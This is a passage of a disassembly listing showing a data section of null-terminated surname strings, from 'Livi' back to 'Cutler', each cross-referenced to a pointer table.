aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
